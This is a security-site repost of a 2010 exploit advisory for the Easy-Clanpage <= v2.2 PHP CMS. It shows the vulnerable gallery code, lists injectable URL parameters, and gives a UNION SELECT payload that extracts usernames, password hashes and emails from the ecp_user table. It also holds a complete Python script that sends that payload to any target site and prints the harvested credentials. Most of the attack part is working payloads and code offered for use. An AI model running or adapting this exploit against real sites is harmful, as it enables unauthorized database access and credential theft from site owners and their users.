首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Easy-Clanpage <= v2.2 multiple SQL Injection Vulnerability + Exploit
来源:vfocus.net 作者:Easy Laster 发布时间:2010-04-01  
====================================================================
Easy-Clanpage <= v2.2 multiple SQL Injection Vulnerability + Exploit
====================================================================

----------------------------Information------------------------------------------------
+Name : Easy-Clanpage <= v2.2 multiple SQL Injection + Exploit
+Autor : Easy Laster
+Date   : 31.03.2010
+Script  : Easy-Clanpage <= v2.2
+Download : Update Version 2.1->2.2 http://www.easy-clanpage.de
/?section=downloads&action=viewdl&id=18
+Price : for free
+Language : PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability PHP Code

-#######################################################################################-
IF(isset($_GET['action'])) {
        switch($_GET['action']) {
            case "viewpic":
                gallery_show_pic($_GET['id']);
            break;
            case "gallery":
                gallery_show_gallery($_GET['id']);
            break;
            case "kate":
                gallery_show_kate($_GET['id']);
            break;
            case "comments":
                gallery_show_pic((int)$_GET['id']);
            break;
            case "commentsadd":
                write_comment('gallery', (int)$_GET['id'], ALLOW_ANONYM, SPAM_NEWS_COMMENT , LIMIT_COMMENTS);
            break;
            case "commentsquote":
                write_comment_qoute('gallery', (int)$_GET['id'],(int)$_GET['quote']);
            break;
            case "commentsedit":
                comments_edit('gallery', (int)$_GET['subid'], (int)$_GET['id'], LIMIT_COMMENTS);
            break;
            default:
                gallery();
        }
-#######################################################################################-

+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=viewpic&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=kate&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=comments&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsquote&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsedit&id=

+SQL Injection
+Exploitable   : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id=
-1111111111+union+select+1,2,concat(username,0x3a,password,0x3a,email),4+from+ecp_user
+where+userID=1--+

-----------------------------------------------------------------------------------------

#Exploit
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re

if len(sys.argv) < 2:
    print "***************************************************************"
    print "*************** Easy-Clanpage v2.2 Gallery Hack ***************"
    print "***************************************************************"
    print "*         Discovered and vulnerability by Easy Laster         *"     
    print "*         Easy-Clanpage <= v2.2 SQL Injection Exploit         *"
    print "*                      coded by Dr.ChAoS                      *"
    print "*                                                             *"
    print "* Usage:                                                      *"
    print "* python exploit.py http://site.de/ecp/ <userid, default=1>   *"
    print "*                                                             *"
    print "***************************************************************"
    exit()

if len(sys.argv) < 3:
    id = 1
else:
    id = sys.argv[2]

site = sys.argv[1]
if site[-1:] != "/":
    site += "/"

url = site + "index.php?section=gallery&action=gallery&id=-1111111111+union+select+1,2,concat(0x23,0x23,0x23,0x23,0x23,username,0x3a,password,0x3a,email,0x23,0x23,0x23,0x23,0x23),4+from+ecp_user+where+userID=" + str(id) + "--"

print "Exploiting..."

html = urllib2.urlopen(url).read()
# I hate regex!
data = re.findall(r"#####(.*)\:([0-9a-fA-F]{32})\:(.*)#####", html)
if len(data) > 0:
    print "Success!\n"
    print "ID: " + str(id)
    print "Username: " + data[0][0]
    print "Password: " + data[0][1]
    print "E-Mail: " + data[0][2]
    print "\nHave a nice day!"
else:
    print "Exploit failed..."

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MyBB 2002-2010 exploit
·Centreon IT & Network Monitori
·Xilisoft Blackberry Ring Tone
·Free MP3 CD Ripper 2.6 (wav) 1
·CDTrustee .BAK Local Crash POC
·Free MP3 CD Ripper 2.6 0-day
·WM Downloader 3.0.0.9 (.asx) L
·HP OpenView NNM OvWebHelp.exe
·Optimal Archive v1.38 (.zip) 0
·CompleteFTP Server Directory T
·BitComet <= 1.19 Remote DoS Ex
·Easy Icon Maker .ico File Read
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved